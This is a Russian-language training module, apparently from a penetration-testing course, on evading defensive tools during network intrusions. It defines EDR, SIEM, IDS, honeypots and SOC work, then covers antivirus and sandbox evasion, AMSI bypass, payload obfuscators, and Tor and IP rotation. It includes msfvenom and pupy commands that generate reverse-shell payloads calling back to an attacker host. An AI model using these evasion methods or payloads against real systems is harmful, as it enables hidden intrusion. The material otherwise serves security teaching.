??????????????? ???????????

- Общая информация
- Подготовка и сравнение нагрузок
- Увеличение скрытности
- Ротация IP

????? ??????????

Endpoint Detection & Response (EDR) — класс решений для обнаружения и изучения вредоносной активности на конечных точках, подключенных к сети рабочих станциях, серверах, устройствах Интернета вещей и так далее. В отличие от антивирусов, задача которых бороться с типовыми и массовыми угрозами, EDR-решения ориентированы на выявление целевых атак и сложных угроз. При этом EDR-решения не могут полностью заменить антивирусы (EPP), поскольку эти две технологии решают разные задачи.

Endpoint Protection Platform (EPP) — комплексные защитные решения для конечных точек, в которые входит антивирус, технологии шифрования данных, технологии для отслеживания и устранения уязвимостей, контроля приложений и устройств и т.д.

Security Information and Event Management (SIEM) — решения для сбора и автоматического анализа информации о событиях безопасности.

Next Generation Firewall, межсетевой экран нового поколения (NGFW) — межсетевой экран для глубокой фильтрации трафика, интегрированный с IDS (Intrusion Detection System, система обнаружения вторжений) или IPS (Intrusion Prevention System, система предотвращения вторжений), и обладающий возможностью контролировать и блокировать трафик на уровне приложений.

Intrusion Detection System (IDS) — система обнаружения вторжений, программный продукт или устройство, предназначенные для выявления несанкционированной и вредоносной активности в компьютерной сети или на отдельном хосте. Задача IDS — обнаружить проникновение киберпреступников в инфраструктуру и сформировать оповещение безопасности (функций реагирования, например блокировки нежелательной активности, в таких системах нет), которое будет передано в SIEM-систему для дальнейшей обработки.

Песочница — специально выделенная (изолированная) среда для безопасного исполнения компьютерных программ.

Общие принципы

- Снижение активности в сети. Исключение сканирования или масштабного сканирования сети и работа только с прикладными легитимными протоколами и сервисами (LDAP, Kerberos, DNS, которые вы получаете напрямую из DNS записей домена).
- Использование шифрованных каналов связи с прикладными протоколами и только зашифрованная коммуникация с агентами / нагрузками в C&C.
- Использование нагрузок, подготовленных к противодействию обнаружению средствами EPP и EDR (использование упаковщиков, исполнения в памяти, кастомизация нагрузок от обнаружения).

Обнаружение хакера

Решения активной защиты, которые занимаются обнаружением хакерской или прочей аномальной активности в сети:

- IDS
- IPS
- NGFW
- SIEM
- EDR
- EPP

Нужно понимать, что подобные и прочие инструменты защиты умело используют только компании, в которых хорошо развита культура ИБ. Помимо подобных средств, которые хакер еще имеет возможность обойти, есть и средства более категоричные. Например, решения класса HoneyPot.

HoneyPot

Honeypot (с англ. — «горшочек с мёдом») — ресурс, представляющий собой приманку для злоумышленников.

Задача Honeypot — подвергнуться атаке или несанкционированному исследованию, что впоследствии позволит изучить стратегию злоумышленника и определить перечень средств, с помощью которых могут быть нанесены удары по реально существующим объектам безопасности. Реализация Honeypot может представлять собой как специальный выделенный сервер, так и один сетевой сервис, задача которого — привлечь внимание взломщиков.

Пример Honepot’a: веб-сервер, который не имеет имени и фактически никому не известен, не должен, соответственно, иметь и гостей, заходящих на него, поэтому все лица, которые пытаются на него проникнуть, являются потенциальными взломщиками. Honeypot собирает информацию о характере поведения этих взломщиков и об их способах воздействия на сервер. После чего специалисты по реагированию на инциденты разрабатывают и реализуют стратегии отражения атаки злоумышленника.

Команда реагирования на инциденты

Security Operation Center (SOC) — это центр управления безопасностью, где команда профессиональных аналитиков и инженеров работает в режиме 24/7 для обеспечения безопасности информационных систем и данных предприятия.

Основной задачей SOC является мониторинг и обнаружение возможных кибератак, а также реагирование на них. Сотрудники SOC используют различные инструменты и технологии для обнаружения аномальных активностей в сети, в том числе системы регистрации и анализа журналов, инструменты сетевого мониторинга и системы обнаружения вторжений.

Пример работы SOC

Представим ситуацию, когда в компьютерной сети предприятия была обнаружена аномальная активность, указывающая на возможный случай компрометации данных. SOC может реагировать на такой инцидент следующим образом:

- Определение и классификация угрозы: SOC аналитики начинают анализировать доступные журналы и логи, чтобы определить масштаб и характер возможной угрозы. Они могут использовать специальные инструменты для обнаружения и анализа аномалий, таких как системы обнаружения вторжений.
- Быстрое реагирование: SOC инженеры могут немедленно заблокировать доступ к компьютерной системе, которая могла быть скомпрометирована, чтобы предотвратить дальнейшую утечку данных или вредоносную активность.
- Расследование инцидента: команда SOC начинает расследование, чтобы выяснить, каким образом произошел инцидент и какие данные могли быть украдены или скомпрометированы. Это может включать в себя анализ журналов, обращение к другим участкам предприятия для выяснения, какие данные могли быть затронуты, а также сбор дополнительных фактов и доказательств.

Этапы реагирования SOC:

- Оповещение руководства: SOC руководство обычно своевременно информирует руководство предприятия.
- Восстановление: SOC инженеры принимают меры для восстановления нарушенных систем и данных.
- Документирование и анализ: после расследования и восстановления SOC инженеры и аналитики документируют произошедший инцидент и проводят анализ.

?????????? ? ????????? ????????

Подготовка нагрузок

При подготовке нагрузок есть необходимость использовать нагрузки и обертки для них с целью обхода их детектирования системами EPP и EDR, которые обнаруживают такие вредоносные программы и не дают им возможности запуститься.

Есть 2 типа детектирования вредоносных нагрузок активными системами защиты:

- Статический анализ
- Динамический анализ

Статический анализ нагрузок

Статическое обнаружение нагрузок достигается путем пометки известных вредоносных строк и массивов байтов в двоичном файле или скрипте, а также извлечением информации из самого файла (например, описание файла, название компании, цифровые подписи, иконка, контрольная сумма и т.д.). Это означает, что при использовании известных общедоступных инструментов вас будет легче поймать, поскольку они, скорее всего, уже были проанализированы и помечены как вредоносные.

Способы обхода статического анализа нагрузок

Существует несколько способов обойти такое обнаружение:

- Шифрование. Если вы шифруете двоичный файл, EPP не сможет обнаружить вашу программу, но вам понадобится какой-то загрузчик для расшифровки и запуска программы в памяти.
- Обфускация. Иногда достаточно изменить некоторые строки в бинарном файле или скрипте, чтобы он прошел мимо EPP, но это может занять много времени, в зависимости от того, что именно вы пытаетесь замаскировать.
- Самописный инструментарий. Если вы разработаете собственные инструменты, то в них не будет известных сигнатур зловредного ПО.

В качестве системы для проверки успешности вашего решения можно использовать такие утилиты, как *DefenderCheck* *(Зеркало: DefenderCheck Яндекс.Диск и DefenderCheck.exe Яндекс.Диск)*

Динамический анализ нагрузок

Динамический анализ — это когда средство защиты запускает ваш двоичный файл в "песочнице" и следит за вредоносной активностью (например, выполняет дампа памяти процессов LSASS или обращение к критически важным файлам и кустам реестра систем и т.д.).

Динамический анализ обойти гораздо сложнее, но есть ряд способов, отличающихся креативностью.

Ключевое, с чем мы пытаемся бороться при динамическом анализе нашего бинарного файла, это то, что в песочнице будет обнаружено действительное предназначение нашего файла через его поведение. Поэтому наша ключевая задача — определить, что наш файл был запущен и находится в песочнице, и скрыть всю возможную опасную активность, которая может быть определена.

Рассмотрим ряд действенных приемов, которые могут быть применены для обхода детектирования:

- Сон перед выполнением. Средствами защиты выделяется достаточно мало времени на анализ файлов, чтобы не прерывать рабочий процесс пользователя, поэтому использование длительного сна может нарушить анализ двоичных файлов. Проблема в том, что многие антивирусные песочницы могут просто пропустить функцию сна в зависимости от того, как она реализована.
- Проверка ресурсов машины. Обычно песочницы имеют очень мало ресурсов для работы (например, < 2 ГБ RAM), иначе они могут замедлить работу машины пользователя. В проверке ресурсов возможно проявить творческий подход, например, проверять температуру процессора или даже скорость вращения куллера, движение пользовательской мыши - не все из возможных проверок будет реализовано в песочнице.
- Проверки для конкретной машины. Если вы хотите нацелиться на пользователя, чья рабочая станция подключена к домену "domain.local", вы можете выполнить проверку домена компьютера на соответствие указанному вами домену, и, если домен не соответствует вашей цели, вы можете заставить вашу программу не переходить в активный режим.

Бесфайловое исполнение

Бесфайловые вредоносные программы — это вариант вредоносного программного обеспечения, связанного с компьютером, которое существует исключительно в виде артефактов в памяти компьютера, то есть в оперативной памяти.

Такие программы не записывают никаких фрагментов своей деятельности на жесткий диск компьютера, что повышает ее способность обходить антивирусное программное обеспечение, которое включает в себя файловые белые списки, обнаружение сигнатур, проверку оборудования, анализ шаблонов, временные метки и т.д.

Вредоносные программы этого типа предназначены для работы в памяти, поэтому их существование в системе длится только до перезагрузки системы.

Противодействие бесфайловому исполнению

В качестве противодействия бесфайловому исполнению были разработаны системы типа: AMSI (Anti-Malware Scan Interface). Функция AMSI интегрирована в следующие компоненты Windows:

- User Account Control, или UAC (повышение уровня установки EXE, COM, MSI или ActiveX).
- PowerShell (сценарии, интерактивное использование и динамическая оценка кода)
- Windows Script Host (wscript.exe и cscript.exe)
- JavaScript и VBScript
- Макросы Office VBA

Это позволяет антивирусным решениям проверять поведение скриптов, раскрывая их содержимое в незашифрованном и не замаскированном виде.

Для обхода подобных решений используются:

- Обфускация,
- Патчинг в памяти
- Отдельные трюки приостановки работы AMSI

Инструменты генерации нагрузок для обхода EPP и EDR

Существует множество инструментов для генерации нагрузок с применением механизмов обфускации, шифрования, замены системных вызовов, использования Proxy DLL и пр.

Некоторые популярные примеры:

- Veil — это инструмент, предназначенный для создания нагрузок metasploit, которые обходят обычные антивирусные решения.
- Freeze — это инструмент создания полезной нагрузки, используемый для обхода средств контроля безопасности EDR с целью скрытного выполнения шеллкода. Freeze использует множество методов не только для удаления EDR userland hooks, но и для выполнения шеллкода таким образом, чтобы обойти другие средства контроля конечных точек.
- SGN — это полиморфный двоичный кодер, предназначенный для наступательных целей безопасности, таких, как генерация статически недетектируемых двоичных полезных нагрузок. Он использует аддитивный цикл обратной связи для кодирования заданных двоичных инструкций, подобно LFSR.

Сравнение нагрузок

1. Подготовим нагрузку для запуска, используя msfvenom — классический инструмент Metasploit Framework, позволяющий генерировать исполняемые файлы из включенных в фреймворк полезных нагрузок.

```
$ mkdir check
$ cd check
```

2. Сгенерируем exe-файл для 64-разрядной версии Windows с C2-агентом Meterpreter, осуществляющим обратное подключение к нашей машине:

```
$ msfvenom -p windows/x64/meterpreter_reverse_tcp -f exe LHOST=10.8.0.14 LPORT=4444 >
loader.exe
```

3. Загрузим файл на VirusTotal и увидим, что он детектируется практически всеми AV-решениями, что естественно, так как этот фреймворк крайне популярен, и при генерировании полезной нагрузки не были применены какие-либо меры для защиты от детекта. Проведем аналогичный эксперимент с pupy rat:

```
>> gen -h
>> gen -f client -A x64 -O windows -o loader-pu.exe
$ cd /tmp/projects/default
```

Как видим, вердикты AV-решений поменялись, и уровень детектируемости незначительно снизился, так как этот фреймворк несколько менее популярен.

4. Выберем другой формат текстовый — файл с кодом на Python:

```
>> gen -f pyinst -A x64 -O windows -o loader.py
```

Этот файл будет детектироваться очень слабо, так как требуемый для запуска этого файла интерпретатор Python встречается крайне редко на Windows-системах обычных пользователей и в корпоративной среде . Поэтому такой вид нагрузок почти не встречается в реальных атаках.

?????????? ??????????

Снижение активности в сети

Этот принцип — один из самых простых с точки зрения технического исполнения, но в то же время является сложным из-за необходимости проявить креативность. Наша максимальная задача в этом процессе — не оставить возможности детектирования наших действий активными средствами защиты.

Шаги для снижения активности в сети:

- Исключить все возможные типы сканирования портов, так как этот процесс достаточно легко детектируется даже через сканирование портов на одном узле.
- Перед обращением к какому-либо узлу сети продумывать, не попадем ли мы в HoneyPot, и почему выбранный нами узел — точно не HoneyPot.
- Исключить совершение атак типа “Man in The Middle”.

Какие подходы могут помочь нам исследовать сеть и определиться в пути компрометации:

- Обращаться только к тем сервисам, с которыми работают пользователи в сети.
- Исследовать DNS имена в трафике и в домене, пытаясь обнаружить наиболее интересные машины в сети.
- Исследовать ARP запросы в сети, для того чтобы пассивно собирать информацию об участниках сети.
- Обращаться к общедоступным ресурсам в домене.
- При сканировании сервисов использовать подключение только к отдельным портам без флагов активного сканирования.

Примеры приемов по снижению активности в сети

1. Опросить DNS на предмет корневых доменных имен.

> dig domain.local

2. Опросить домен на предмет записей о сервисах в домене.

> dig -t SRV _gc._tcp.domain.local
> dig -t SRV _ldap._tcp.domain.local
> dig -t SRV _kerberos._tcp.domain.local
> dig -t SRV _kpasswd._tcp.domain.local

3. Исследовать трафик сети на предмет широковещательного трафика: ARP, mDNS, LLMNR, NBTNS и пр.

4. Попытаться обратиться к общедоступным ресурсам, типа почты, сервера LDAP, сервера, WPAD прокси.

> dig -t MX domain.local

> dig -t wpad.domain.local

Использование шифрованных каналов связи

Для того, чтобы активные средства защиты не могли обнаружить атакующий трафик и определить опасные конструкции в нем по сигнатурам, необходимо постоянно заботиться о том, чтобы наш трафик эксплойтов или команд невозможно было расшифровать.

Если наша задача — применить эксплойт, то желательно работать только с применением шифрования трафика прикладных протоколов (например, используя SSL/TLS).

Это могут быть такие протоколы, как:

- HTTPS
- SMB (только версии 3.1.1 и выше)
- SMTP (только на порте 465 с использованием команды STARTTLS)
- SSH

Также критически важно использовать шифрованные каналы связи с взаимодействием с нагрузкой для контроля и выполнения команд. Для этого в фреймворке C&C необходимо использовать нагрузки с связью по каналам, использующим TLS. Например, в metasploit:

```
windows/meterpreter/reverse_https (В LHOST необходимо будет указывать доменное имя)
windows/meterpreter/reverse_winhttps
windows/meterpreter_reverse_https (нагрузка без стейджера)
```

??????? IP

The Onion Router (TOR)

Tor Browser (сокр. от англ. The Onion Router) — свободное и открытое программное обеспечение для реализации второго (V2) и третьего (V3) поколения так называемой луковой маршрутизации. Это система прокси-серверов, позволяющая устанавливать анонимное сетевое соединение, защищённое от прослушивания. Рассматривается как анонимная сеть виртуальных туннелей, предоставляющая передачу данных в зашифрованном виде.

Луковая маршрутизация (англ. Onion routing) — технология анонимного обмена информацией через компьютерную сеть. Сообщения неоднократно шифруются и потом отсылаются через несколько сетевых узлов, называемых луковыми маршрутизаторами. Каждый маршрутизатор удаляет слой шифрования, чтобы открыть трассировочные инструкции и отсылать сообщения на следующий маршрутизатор, где все повторяется.

Таким образом, промежуточные узлы не знают источника, пункта назначения и содержания сообщения. Маршрутизаторы были названы луковыми, так как слои шифрования подобны чешуйкам луковицы.

Как воспользоваться TOR?

Инструментом TOR можно пользоваться, работая с браузером TOR, но чаще всего эксперты поднимают входной узел сети Tor как сервис и пользуются им в виде прокси.
Ранее мы рассматривали с вами инструмент proxychains, для того, чтобы использовать большинство CLI утилит через прокси.

Рассмотрим, как это можно реализовать, используя Tor:

```
$ sudo apt install proxychains tor -y                <- Установка
$ service tor start                                                <- Запуск сервиса Tor
на порту стандартном порту 9050
$ vim /etc/proxychains4.conf                                  <- Настройка Proxychains в
файле конфигурации
…
proxy_dns
socks4  127.0.0.1 9050
socks5  127.0.0.1 9050
…
$ proxychains nmap -targetaddress <- Запуск утилиты Nmap с использованием proxy Tor
```

Атаки на клиентов Tor

Tor Browser или использование Tor как прокси имеет набор проблем, которые возникают из-за особенностей конфигурации или из-за уязвимостей в отдельных версиях ПО. Большинство известных атак касаются проблем деанонимизации клиентов Tor и анализа трафика клиентов Tor.

Первый вид атак реализуется посредством установки входных и выходных узлов сети Tor, принадлежащих одному владельцу, который может по объему пакетов и времени запроса определять, что тот или иной входный и выходной трафик принадлежат одному и тому же клиенту.

Второй вид атак касается возможностей внедрения трафика, либо на стороне входного узла (дублирование пакетов запросов и поиск задублированных пакетов на выходе), либо на стороне выходного узла используя попытки завести клиентов сети Tor на свой сайт и замерять получаемые клиентом данные или заставить его выполнить DNS запросы в обход прокси.

Ротация IP адресов

Для постоянной смены IP адресов зачастую недостаточно пользоваться такими сервисами, как Tor или I2P, т.к. некоторые сервисы могут блокировать вас по факту принадлежности вашего IP к сетям анонимного доступа.

Также такие сети не позволяют выполнять множественные запросы, постоянно изменяя IP с высокой скоростью.

В качестве популярных решений существуют:

Сервисы:

- https://www.proxyrotator.com/
- https://stormproxies.com/
- https://brightdata.com/

Плагин для Burp Suite:

- IP Rotate

Консольные утилиты:

- Fireprox

Облачные провайдеры:

- Сервис Cloud Functions

- AWS API Gateway
- AWS Lambda

Дополнительная информация

- Как работает Tor
- Настройка I2P
- О proxy
- Cover Your Tracks, чтобы оценить фингерпринт в браузере
- Фреймворк контроля и управления гибко адаптируемый под задачи обхода обнаружения
- Чек-лист по обходу обнаружения антивирусами и EDR системами
- Набор статей на тему обхода обнаружения различными способами в различных ситуациях